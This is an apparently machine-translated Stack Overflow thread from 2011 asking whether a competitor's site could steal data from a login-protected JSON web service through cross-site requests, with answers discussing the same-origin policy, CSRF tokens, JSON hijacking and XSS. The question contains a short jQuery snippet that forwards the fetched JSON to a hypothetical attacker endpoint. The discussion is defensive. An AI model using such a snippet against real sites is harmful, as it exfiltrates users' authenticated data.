【问题标题】:Protecting a protected JSON web service from data harvesting?保护受保护的 JSON Web 服务免受数据收集?
【发布时间】:2011-08-03 21:56:19
【问题描述】:

我们有一个 JSON 网络服务,我们的一个网页使用它来显示“实时”数据。要访问该页面,用户必须登录。我们担心恶意网站(竞争对手)获取这些数据的能力。但是,我不确定我们预期的问题是否合理。

一旦用户登录,我们会在他们的计算机上存储一个“记住我”cookie。如果有人要建立一个向我们的 Web 服务发出 AJAX 请求并说服登录用户访问该站点的站点,他们是否能够从我们的服务中检索和存储信息?如果是这样,我们如何保护自己免受此类事情的影响?

例如:

恶意网站能否构建这样的脚本来获取我们的数据:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

既然他们点击了我们的 JSON 提要,它不会将 cookie 发送到我们的网站并且用户将通过身份验证。既然他们会被认证,它不会发回敏感数据吗?

【问题讨论】:

    标签: asp.net-mvc security csrf csrf-protection


    【解决方案1】:

    缺少一些尚未修补的浏览器漏洞,您似乎担心的事情无法解决。

    另一个域上的脚本将无法向您的域发出 AJAX 请求。它也不能从您的域中加载页面并“窃取”该信息。

    就 CSRF 而言,您需要关注的是通过 GET 请求进行的破坏性操作,这当然根本不需要任何脚本。当然,所有这一切都假设您的网站不易受到跨站脚本攻击(可能允许某人通过其他人的登录“窃取”数据)。

    不过,我认为您更有可能在“合法”用户那里“挖掘”您的数据时遇到问题。不过,这更像是业务级别的事情……除了确保正确的日志记录以识别此类情况。

    【讨论】:

    • 我能够模拟一个发出跨域 AJAX 请求的示例,并且我在网络上看到许多文章说这是一个漏洞。你能详细说明为什么不可能吗?
    • 我在措辞上很谨慎,包括“尚未修补的漏洞”。否则这是不可能的,因为所有浏览器都尊重这种分离。如果他们不这样做,任何人都可以轻松地创建一个网页,迫使您的浏览器在他们想要的任何网站上做他们想做的任何事情。 CSRF 基本上会结束网络。相反,CSRF 主要是网站不记得幂等 GET 原则的问题
    • 但这就是我真正的首要观点:你在卖信息。这意味着人们将获得这些信息。忘记 CSRF ......你正在合法地向人们提供信息。您正在采取什么措施来确保您的付费用户不会简单地转售信息?
    • ...我想看看你的例子。我的猜测是您并没有完全得到那里的钱。您不需要需要 AJAX 来发出简单的 GET 请求 - 他们只需在页面上放置一个 IMG 标记即可。这不是我要说的。
    • 在这个站点和其他地方有很多问题,人们试图弄清楚如何进行跨域 POST,例如这个:stackoverflow.com/questions/298745/… 正如我所指出的;发出请求一点也不难——你不需要 Javascript 来发出任何跨域请求。但操纵它是另一回事。
    【解决方案2】:

    如果您担心攻击者能够使用合法用户的会话来检索 JSON 对象,那么您就是在谈论 JSON 劫持。这取决于您的 JSON 文件的结构方式,如果这种攻击是可能的。查看术语“JSON 劫持”以获取更多信息,或者随时发表评论,提供有关您的应用程序有关 JSON 对象的更多详细信息。如果您发现自己容易受到攻击,添加 CSRF-Token 将有助于关闭任何 JSON 劫持攻击。

    您还必须确保您的 Web 应用程序中没有单个跨站点脚本 (XSS) 漏洞。如果攻击者可以使用 XSS,那么他很容易通过控制有效用户的浏览器来获取数据。 CSRF-Tokens 在这种情况下是没有用的。

    【讨论】:

    • 感谢有关 JSON 劫持的提示。我查阅了有关该主题的一些文章,但我对为什么“对象包装”可以保护您感到困惑。是否有人仍然不能构造一个 jQuery(例如)AJAX 请求,然后将响应发送回他们自己的服务器并将其写入磁盘?
    猜你喜欢
    • 1970-01-01
    • 2016-07-29
    • 2014-05-23
    • 2011-04-16
    • 2019-12-31
    • 2017-12-04
    • 2011-06-01
    • 2014-10-17
    • 1970-01-01
    相关资源
    最近更新 更多